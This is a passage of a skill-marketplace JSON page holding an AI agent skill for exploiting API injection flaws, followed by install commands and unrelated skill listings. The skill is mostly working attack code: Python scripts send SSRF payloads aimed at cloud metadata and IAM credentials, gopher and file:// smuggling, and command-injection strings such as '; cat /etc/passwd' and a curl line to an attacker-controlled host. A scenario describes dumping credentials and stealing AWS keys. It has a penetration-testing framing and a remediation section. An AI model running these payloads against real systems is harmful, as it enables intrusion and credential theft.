\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\",                           # AWS IMDS\n        \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\",  # AWS IAM creds\n        \"http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F\",                # GCP\n        \"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2021-02-01\",    # Azure\n    ],\n    \"internal_services\": [\n        \"http:\u002F\u002Flocalhost:8080\u002F\",\n        \"http:\u002F\u002F127.0.0.1:6379\u002F\",           # Redis\n        \"http:\u002F\u002F127.0.0.1:9200\u002F\",           # Elasticsearch\n        \"http:\u002F\u002F127.0.0.1:27017\u002F\",          # MongoDB\n        \"http:\u002F\u002Finternal-api.local:8080\u002F\",\n        \"http:\u002F\u002F10.0.0.1\u002Fadmin\u002F\",\n    ],\n    \"protocol_smuggling\": [\n        \"gopher:\u002F\u002F127.0.0.1:6379\u002F_SET%20pwned%20true\",\n        \"file:\u002F\u002F\u002Fetc\u002Fpasswd\",\n        \"dict:\u002F\u002F127.0.0.1:6379\u002FINFO\",\n    ],\n    \"bypass_filters\": [\n        \"http:\u002F\u002F0x7f000001\u002F\",                # Hex IP for 127.0.0.1\n        \"http:\u002F\u002F2130706433\u002F\",                # Decimal IP for 127.0.0.1\n        \"http:\u002F\u002F0177.0.0.1\u002F\",               # Octal\n        \"http:\u002F\u002F127.0.0.1.nip.io\u002F\",         # DNS rebinding\n        \"http:\u002F\u002F[::1]\u002F\",                     # IPv6 localhost\n        \"http:\u002F\u002F127.1\u002F\",                     # Shortened IP\n        \"http:\u002F\u002F0\u002F\",                         # Zero\n    ],\n}\n\ndef test_ssrf(endpoint, url_param, method=\"POST\"):\n    \"\"\"Test for SSRF in URL-accepting parameters.\"\"\"\n    results = []\n\n    for category, payloads in SSRF_PAYLOADS.items():\n        for payload in payloads:\n            try:\n                if method == \"POST\":\n                    resp = requests.post(f\"{BASE_URL}{endpoint}\",\n                                       headers=headers,\n                                       json={url_param: payload}, timeout=10)\n                else:\n                    resp = requests.get(f\"{BASE_URL}{endpoint}\",\n                                      headers=headers,\n                                      params={url_param: payload}, timeout=10)\n\n                # Check for SSRF indicators\n                if resp.status_code == 200 and len(resp.text) > 50:\n                    # Check for cloud metadata\n                    if any(kw in resp.text for kw in [\"ami-id\", \"instance-id\",\n                                                       \"iam\", \"AccessKeyId\",\n                                                       \"root:x:\", \"computeMetadata\"]):\n                        results.append({\n                            \"endpoint\": endpoint,\n                            \"category\": category,\n                            \"payload\": payload,\n                            \"severity\": \"critical\",\n                            \"data\": resp.text[:300]\n                        })\n                        print(f\"[SSRF-CRITICAL] {endpoint}: {category} - {payload}\")\n                    else:\n                        results.append({\n                            \"endpoint\": endpoint,\n                            \"category\": category,\n                            \"payload\": payload,\n                            \"severity\": \"high\",\n                            \"data\": resp.text[:100]\n                        })\n                        print(f\"[SSRF] {endpoint}: {category} - {payload} -> {resp.status_code}\")\n            except requests.exceptions.RequestException:\n                pass\n\n    return results\n\n# Test endpoints that accept URLs\nssrf_results = test_ssrf(\"\u002Fwebhook\u002Ftest\", \"url\")\nssrf_results.extend(test_ssrf(\"\u002Fimport\", \"source_url\"))\nssrf_results.extend(test_ssrf(\"\u002Fproxy\", \"target\", \"GET\"))\n```\n\n### Step 5: OS Command Injection Testing\n\n```python\n# Command injection payloads\nCMD_PAYLOADS = {\n    \"detection\": [\n        \"; sleep 5\",\n        \"| sleep 5\",\n        \"` sleep 5 `\",\n        \"$( sleep 5 )\",\n        \"\\n sleep 5\",\n        \"& ping -c 5 127.0.0.1 &\",\n    ],\n    \"data_exfil\": [\n        \"; cat \u002Fetc\u002Fpasswd\",\n        \"| id\",\n        \"`whoami`\",\n        \"$(uname -a)\",\n        \"; curl http:\u002F\u002Fattacker-controlled-server.com\u002F$(whoami)\",\n    ],\n    \"windows\": [\n        \"& ping -n 5 127.0.0.1 &\",\n        \"| dir\",\n        \"; type C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\",\n        \"& timeout \u002Ft 5 &\",\n    ],\n}\n\ndef test_command_injection(endpoint, param_name, param_type=\"body\"):\n    \"\"\"Test for OS command injection.\"\"\"\n    results = []\n\n    for category, payloads in CMD_PAYLOADS.items():\n        for payload in payloads:\n            start = time.time()\n            prefixed_payload = f\"validvalue{payload}\"\n\n            if param_type == \"body\":\n                resp = requests.post(f\"{BASE_URL}{endpoint}\",\n                                   headers=headers,\n                                   json={param_name: prefixed_payload}, timeout=15)\n            else:\n                resp = requests.get(f\"{BASE_URL}{endpoint}\",\n                                  headers=headers,\n                                  params={param_name: prefixed_payload}, timeout=15)\n\n            elapsed = time.time() - start\n\n            indicators = {\n                \"time_based\": elapsed > 4.5 and \"sleep\" in payload.lower(),\n                \"output\": any(kw in resp.text for kw in [\n                    \"root:\", \"uid=\", \"Linux\", \"Windows\", \"bin\u002Fbash\",\n                    \"Directory of\", \"Volume Serial\"\n                ]),\n            }\n\n            if any(indicators.values()):\n                results.append({\n                    \"endpoint\": endpoint,\n                    \"param\": param_name,\n                    \"category\": category,\n                    \"payload\": payload,\n                    \"indicators\": [k for k, v in indicators.items() if v],\n                })\n                print(f\"[CMDi] {endpoint} ({param_name}): {payload}\")\n\n    return results\n\n# Test file processing and system interaction endpoints\ntest_command_injection(\"\u002Fexport\", \"filename\")\ntest_command_injection(\"\u002Fconvert\", \"input_file\")\ntest_command_injection(\"\u002Fping\", \"host\", \"query\")\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **SQL Injection** | Inserting SQL code into API parameters that are concatenated into database queries, enabling data extraction or modification |\n| **NoSQL Injection** | Injecting NoSQL operators ($ne, $gt, $regex) into MongoDB queries or manipulating Redis\u002FElasticsearch queries through API parameters |\n| **SSRF** | Server-Side Request Forgery (OWASP API7:2023) - forcing the server to make HTTP requests to attacker-specified destinations including internal services |\n| **Command Injection** | Injecting OS commands through API parameters that are passed to shell execution functions (exec, system, popen) |\n| **Parameterized Queries** | Using prepared statements with bound parameters to prevent SQL injection by separating code from data |\n| **Input Validation** | Server-side verification that user input conforms to expected format, type, length, and character set before processing |\n\n## Tools & Systems\n\n- **SQLMap**: Automated SQL injection detection and exploitation tool supporting all major database types\n- **Burp Suite Professional**: Active scanner with injection detection for SQL, NoSQL, SSRF, and command injection\n- **NoSQLMap**: Automated NoSQL injection detection and exploitation tool focused on MongoDB\n- **SSRFmap**: SSRF detection and exploitation framework with cloud metadata extraction modules\n- **Commix**: Automated OS command injection detection and exploitation tool\n\n## Common Scenarios\n\n### Scenario: E-Commerce API Injection Assessment\n\n**Context**: An e-commerce API uses PostgreSQL for the product catalog, MongoDB for user sessions, and accepts webhook URLs for order notifications. The API is built with Node.js\u002FExpress.\n\n**Approach**:\n1. Test product search endpoint `GET \u002Fapi\u002Fv1\u002Fproducts?search=test` with SQL payloads - discover error-based SQLi revealing PostgreSQL 14 backend\n2. Exploit union-based SQLi to extract all table names, then dump user credentials from the `users` table\n3. Test login endpoint with NoSQL operators - `{\"username\":{\"$ne\":\"\"},\"password\":{\"$ne\":\"\"}}` bypasses authentication\n4. Test webhook URL endpoint for SSRF - `POST \u002Fapi\u002Fv1\u002Fwebhooks {\"url\":\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\"}` returns AWS instance metadata\n5. Extract AWS IAM role credentials via SSRF, gaining access to S3 buckets containing customer data\n6. Test file export endpoint for command injection - `GET \u002Fapi\u002Fv1\u002Fexport?filename=report;cat \u002Fetc\u002Fpasswd` returns passwd file contents\n\n**Pitfalls**:\n- Only testing SQL injection when the backend uses multiple data stores (SQL, NoSQL, Redis, Elasticsearch)\n- Missing injection points in HTTP headers (User-Agent, Referer, X-Forwarded-For) that may be logged to SQL databases\n- Not testing SSRF bypass techniques when the initial payload is blocked by URL validation\n- Assuming JSON API bodies are safe from SQL injection (JSON values are still concatenated into queries)\n- Not testing time-based injection when error messages are suppressed\n\n## Output Format\n\n```\n## Finding: SQL Injection in Product Search API Enables Full Database Access\n\n**ID**: API-INJ-001\n**Severity**: Critical (CVSS 9.8)\n**OWASP API**: API8:2023 - Security Misconfiguration \u002F Injection\n**Affected Endpoints**:\n  - GET \u002Fapi\u002Fv1\u002Fproducts?search= (SQL injection)\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Flogin (NoSQL injection)\n  - POST \u002Fapi\u002Fv1\u002Fwebhooks (SSRF)\n\n**Description**:\nThe product search API concatenates user input directly into a PostgreSQL\nquery without parameterization. An attacker can extract all database\ncontents including user credentials, payment information, and admin\nsecrets. Additionally, the login endpoint is vulnerable to MongoDB\nNoSQL operator injection, and the webhook endpoint allows SSRF to\ninternal services and cloud metadata.\n\n**Impact**:\n- Full database read\u002Fwrite access via SQL injection\n- Authentication bypass via NoSQL operator injection\n- AWS IAM credential theft via SSRF to instance metadata\n- Potential remote code execution via SQL injection stacked queries\n\n**Remediation**:\n1. Use parameterized queries for all database operations\n2. Validate and sanitize NoSQL operator characters in JSON input\n3. Implement URL allowlisting for webhook and callback URLs\n4. Block access to cloud metadata endpoints (169.254.169.254) from application servers\n5. Use an ORM with parameterized queries and disable raw query methods\n6. Implement WAF rules for common injection patterns as defense in depth\n```\n",{"name":5,"tags":63,"author":69,"domain":56,"license":15,"version":70,"nist_csf":71,"subdomain":52,"description":76,"mitre_attack":77},[52,64,39,65,66,67,68],"owasp","sqli","nosql","ssrf","command-injection","mahipal","1.0.0",[72,73,74,75],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","Tests APIs for injection vulnerabilities including SQL injection, NoSQL injection, OS command injection, LDAP injection, and Server-Side Request Forgery (SSRF) through API parameters, headers, and request bodies. The tester crafts malicious payloads targeting different backend technologies and injection contexts to extract data, execute commands, or access internal services. Maps to OWASP API8:2023 Security Misconfiguration and API7:2023 SSRF. Activates for requests involving API injection testing, SQLi in APIs, NoSQL injection, SSRF testing, or API input validation assessment.\n",[78,79,80,81,82],"T1190","T1059.007","T1552.001","T1055","T1059","main","7925716f065257435fdb12e97f7e52842147d5ad",".claude\u002Fskills\u002Fexploiting-api-injection-vulnerabilities","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude","https:\u002F\u002Fclaude.com\u002Fclaude-code","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho","Software · Applied AI · Quantitative Modeling · Building with Claude.","2026-06-10 12:24:46",{"source":8,"skillName":5,"commands":92,"prompt":102,"zipAvailable":103},[93,96,99],{"tool":94,"command":95},"npx","npx skills add henriquescastilho\u002Fmy-claude --skill exploiting-api-injection-vulnerabilities",{"tool":97,"command":98},"bunx","bunx skills add henriquescastilho\u002Fmy-claude --skill exploiting-api-injection-vulnerabilities",{"tool":100,"command":101},"pnpm","pnpm dlx skills add henriquescastilho\u002Fmy-claude --skill exploiting-api-injection-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-api-injection-vulnerabilities\u002FSKILL.md",true,[105,110,116],{"path":106,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":108,"sourceHtmlUrl":109},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-api-injection-vulnerabilities\u002FLICENSE",{"path":111,"resourceType":112,"resourceTypeDesc":113,"sizeBytes":114,"sourceHtmlUrl":115},"references\u002Fapi-reference.md","REFERENCE","参考文档",2135,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-api-injection-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":117,"resourceType":118,"resourceTypeDesc":119,"sizeBytes":120,"sourceHtmlUrl":121},"scripts\u002Fagent.py","SCRIPT","脚本",5145,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-api-injection-vulnerabilities\u002Fscripts\u002Fagent.py",[123,162,171,180,202,228],{"skillNo":124,"name":125,"nameZh":6,"description":126,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":127,"licenseFileUrl":6,"sourceHtmlUrl":128,"categories":129,"keywords":142,"publishedAt":58},"01M6F0B6XPQ65AX2X0DWK8KT3E","markitdown","Convert files and office documents to Markdown. Supports PDF, DOCX, PPTX, XLSX, images (with OCR), audio (with transcription), HTML, CSV, JSON, XML, ZIP, YouTube URLs, EPubs and more.","MIT","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[130,133,136,139],{"categoryNo":131,"categoryName":132,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000002","文档处理",{"categoryNo":134,"categoryName":135,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":137,"categoryName":138,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000004","电子表格",{"categoryNo":140,"categoryName":141,"taxonomyType":32,"taxonomyTypeDesc":33},"01JBSEEDCAT000000000000034","行政与办公人员",[125,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161],"docx","PDF","pptx","xlsx","documents","csv","ocr","Audio","Bash","markdown","convert","read","write","edit","html","images","files","youtube","with",{"skillNo":163,"name":125,"nameZh":6,"description":126,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":127,"licenseFileUrl":6,"sourceHtmlUrl":164,"categories":165,"keywords":170,"publishedAt":58},"01M6F06SBHR9F0SDWE282Y8075","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fscientific_writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[166,167,168,169],{"categoryNo":131,"categoryName":132,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":134,"categoryName":135,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":137,"categoryName":138,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":140,"categoryName":141,"taxonomyType":32,"taxonomyTypeDesc":33},[125,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161],{"skillNo":172,"name":125,"nameZh":6,"description":126,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":127,"licenseFileUrl":6,"sourceHtmlUrl":173,"categories":174,"keywords":179,"publishedAt":58},"01M6F02D4R14EJAPBWVDF9J9VQ","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[175,176,177,178],{"categoryNo":131,"categoryName":132,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":134,"categoryName":135,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":137,"categoryName":138,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":140,"categoryName":141,"taxonomyType":32,"taxonomyTypeDesc":33},[125,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161],{"skillNo":181,"name":182,"nameZh":6,"description":183,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":127,"licenseFileUrl":6,"sourceHtmlUrl":184,"categories":185,"keywords":186,"publishedAt":58},"01M6F000KS6YB4MKS774G4R8ND","zarr-python","Chunked N-D arrays for cloud storage. Compressed arrays, parallel I\u002FO, S3\u002FGCS integration, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fzarr-python\u002FSKILL.md",[],[187,188,189,190,191,192,193,194,195,196,197,198,199,200,201],"python","zarr python","storage","integration","s3","gcs","cloud","dask","parallel","pipelines","arrays","numpy","scientific computing","scale","scientific",{"skillNo":203,"name":204,"nameZh":6,"description":205,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":127,"licenseFileUrl":6,"sourceHtmlUrl":206,"categories":207,"keywords":209,"publishedAt":58},"01M6EZZJWFXM1GR78KTW6J0DN8","what-if-oracle","Run structured What-If scenario analysis with multi-branch possibility exploration. Use this skill when the user asks speculative questions like \"what if...\", \"what would happen if...\", \"what are the possibilities\", \"explore scenarios\", \"scenario analysis\", \"possibility space\", \"what could go wrong\", \"best case \u002F worst case\", \"risk analysis\", \"contingency planning\", \"strategic options\", or any question about uncertain futures. Also trigger when the user faces a fork-in-the-road decision, wants to stress-test an idea, or needs to think through consequences before committing.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fwhat-if-oracle\u002FSKILL.md",[208],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[210,211,212,213,214,215,216,217,218,219,220,154,155,221,222,223,224,225,226,227],"oracle","what if oracle","go","run","ux","futures","analysis","explore","decision","branch","question","idea","exploration","options","stress-test","strategies","scenario","stress",{"skillNo":229,"name":230,"nameZh":6,"description":231,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":127,"licenseFileUrl":6,"sourceHtmlUrl":232,"categories":233,"keywords":244,"publishedAt":58},"01M6EZZCXAEB49RXGQCJX5E8GB","venue-templates","Access comprehensive LaTeX templates, formatting requirements, and submission guidelines for major scientific publication venues (Nature, Science, PLOS, IEEE, ACM), academic conferences (NeurIPS, ICML, CVPR, CHI), research posters, and grant proposals (NSF, NIH, DOE, DARPA). This skill should be used when preparing manuscripts for journal submission, conference papers, research posters, or grant proposals and need venue-specific formatting requirements and templates.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fvenue-templates\u002FSKILL.md",[234,237,240,241],{"categoryNo":235,"categoryName":236,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":238,"categoryName":239,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000021","资料检索与研究",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":242,"categoryName":243,"taxonomyType":32,"taxonomyTypeDesc":33},"01JBSEEDCAT000000000000036","内容创作者",[245,246,247,248,249,250,251,252,151,50,154,155,156,253,254,255,256,257,201,258],"templates","venue templates","research","guidelines","NeurIPS","ICML","LaTeX","science","proposals","Academic","requirements","formatting","journal","chi"]